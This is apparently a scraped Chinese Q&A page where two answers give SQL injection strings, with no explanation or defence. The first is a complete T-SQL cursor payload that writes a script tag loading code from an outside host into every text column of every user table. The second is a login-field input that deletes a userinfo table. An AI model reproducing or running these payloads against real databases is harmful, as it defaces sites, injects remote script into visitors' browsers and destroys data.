发布网友 发布时间:2022-04-25 14:02
共2个回答
懂视网 时间:2022-04-07 19:43
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=‘u‘ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(‘update [‘+@T+‘] set [‘+@C+‘]=rtrim(convert(varchar,[‘+@C+‘]))+‘‘"><script src=http://www.2345.com></script>‘‘‘)FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
一个sql注入的语句
标签:
热心网友 时间:2022-04-07 16:51
';delete from userinfo;--用户名输入以上字符,密码任意。